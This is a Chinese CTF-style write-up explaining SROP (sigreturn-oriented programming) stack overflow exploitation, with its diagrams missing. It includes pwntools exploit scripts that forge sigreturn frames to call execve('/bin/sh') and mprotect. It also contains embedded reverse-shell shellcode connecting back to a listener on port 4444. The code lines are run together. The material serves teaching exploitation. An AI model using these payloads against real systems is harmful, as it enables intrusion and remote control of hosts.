<返回更多

栈溢出SROP攻击

2019-10-10    
加入收藏

原创:treebacker合天智汇

原创投稿活动:http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ

高级ROP-SROP利用

在刷题时碰到这个考察点,有点震撼,特意记录下。

SROP简介

 

栈溢出SROP攻击

 

在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以linux为例:

在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn:

栈溢出SROP攻击

 

 

SROP Attack原理

 

栈溢出SROP攻击

 

 

栈溢出SROP攻击

 

 

实例

 

 

栈溢出SROP攻击

 

 

栈溢出SROP攻击

 

 

 

payload = "/bin/sh\x00"payload += '\x00' * 8payload += p64(main)p.send(payload) #write(1, stack_addr, 0x30) #will leak an address on stackp.recv(32)stack_addr = u64(p.recv(8)) - 0x118 #rsiprint "stack_addr ==> " + hex(stack_addr)p.recv(8)#SROP Attackframe = SigreturnFrame()frame.rax = constants.SYS_execveframe.rdi = stack_addr #&'/bin/sh'frame.rsi = 0frame.rdx = 0frame.rsp = stack_addrframe.rip = syscallpayload = 'a'*0x10payload += p64(rt_sigreturn) #强制sigreturn,改变framepayload += p64(syscall)payload += str(frame)p.send(payload)p.interactive()p.close()

 

 

 

main = 0x4004F1syscall = 0x400517 #syscall; ret rt_sigreturn = 0x4004DA #mov eax, 0xf; ret payload = '\x00' * 0x10payload += p64(main) p.send(payload) #write(1, stack_addr, 0x30) #will leak an address on stack p.recv(32) stack_addr = u64(p.recv(8)) - 0x118 #rsi print "stack_addr ==> " + hex(stack_addr) p.recv(8) frame1 = SigreturnFrame()frame1.rax = constants.SYS_mprotect frame1.rdi = stack_addr & 0xFFFFFFFFFFFFF000frame1.rsi = 0x1000 frame1.rdx = 7 frame1.rsp = stack_addr + 0x120 #frame2_sigreturnframe1.rip = syscall shellcode = "\x6a\x29\x58\x6a\x02\x5f\x6a\x01" "\x5e\x48\x31\xd2\x0f\x05\x48\x97"  "\x6a\x02\x66\xc7\x44\x24\x02\x11" "\x5c\x54\x6a\x2a\x58\x5e\x6a\x10"  "\x5a\x0f\x05\x6a\x03\x5e\x6a\x21" "\x58\x48\xff\xce\x0f\x05\xe0\xf6"  "\x48\x31\xf6\x56\x48\xbf\x2f\x62" "\x69\x6e\x2f\x2f\x73\x68\x57\x54"  "\x5f\xb0\x3b\x99\x0f\x05" payload = '\x00'*0x10 #rop_chain stack_addr+8 payload += p64(rt_sigreturn) payload += p64(syscall) #sigreturn payload += str(frame1) payload += p64(stack_addr + 0x128)payload += shellcode

在4444监听之后,运行exp就可以看到得到了返回的shell。

栈溢出SROP攻击

 

 

SROP与ROP的比较

SROP攻击的更多资料

多说一句这种攻击方式,真心觉得强大

推荐实验:ARM漏洞利用技术四--内存布局及栈溢出

http://www.hetianlab.com/expc.do?ec=ECIDecfd-a36f-45cf-8115-ed6a233eed75

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>